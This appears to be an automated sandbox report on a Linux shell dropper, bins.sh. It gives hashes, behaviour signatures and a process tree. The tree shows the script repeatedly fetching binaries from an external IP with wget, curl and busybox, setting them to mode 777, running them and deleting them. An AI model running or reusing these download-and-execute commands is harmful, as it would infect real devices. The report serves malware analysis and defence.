Analysis

  • max time kernel
    142s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 10:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    782fad2003d7212f3365eba40d6e6f9b

  • SHA1

    8d89fb07236bddaa91ccd1787427a115576d0f3b

  • SHA256

    4c23b7f175bcf21ff03b72a53f53a2d88d62cefa2c5ec0b74dd941d32183a69d

  • SHA512

    987fe627b321243f135aa61cd6b131d1049e2c35c1662fbade1459ba3d19e5a4c460d1af5b9ecb348c1c0ee653a48cdcb3b65fdc5ae2abbf06eab66d65810c2a

  • SSDEEP

    192:BzrjeSOvHJiSiswV1gyz2BgV1R5QQQRiuYr1R5QQciuYGbyHBiSiswVJzrjeSOV:AxiSiJV1g4qgcRiuYmiuYGoiSiJVO

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Reads runtime system information 9 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://216.126.231.240/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:730
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          ./XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://216.126.231.240/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            ./I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Executes dropped EXE
            PID:747
          • /bin/rm
            rm I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://216.126.231.240/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:751
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Writes file to tmp directory
              PID:757
            • /bin/chmod
              chmod 777 pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • File and Directory Permissions Modification
              PID:760
            • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              ./pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Executes dropped EXE
              PID:762
            • /bin/rm
              rm pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://216.126.231.240/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Writes file to tmp directory
                PID:766
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:775
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Writes file to tmp directory
                PID:785
              • /bin/chmod
                chmod 777 uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • File and Directory Permissions Modification
                PID:789
              • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                ./uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Executes dropped EXE
                PID:790
              • /bin/rm
                rm uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                  PID:794
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Writes file to tmp directory
                  PID:795
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:807
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Writes file to tmp directory
                  PID:813
                • /bin/chmod
                  chmod 777 lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • File and Directory Permissions Modification
                  PID:815
                • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  ./lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                  • Executes dropped EXE
                  PID:816
                • /bin/rm
                  rm lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                  2⤵
                    PID:818
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • Writes file to tmp directory
                    PID:819
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:820
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • Writes file to tmp directory
                    PID:851
                  • /bin/chmod
                    chmod 777 zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:852
                  • /tmp/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    ./zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                    • Executes dropped EXE
                    PID:853
                  • /bin/rm
                    rm zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                    2⤵
                      PID:855
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • Writes file to tmp directory
                      PID:856
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:857
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /bin/chmod
                      chmod 777 LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • File and Directory Permissions Modification
                      PID:859
                    • /tmp/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      ./LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                      • Executes dropped EXE
                      PID:860
                    • /bin/rm
                      rm LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                      2⤵
                        PID:862
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • Writes file to tmp directory
                        PID:863
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:864
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • Writes file to tmp directory
                        PID:865
                      • /bin/chmod
                        chmod 777 Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • File and Directory Permissions Modification
                        PID:866
                      • /tmp/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        ./Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                        • Executes dropped EXE
                        PID:867
                      • /bin/rm
                        rm Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                        2⤵
                          PID:869
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • Writes file to tmp directory
                          PID:870
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:871
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                          2⤵
                            PID:872

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz

                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925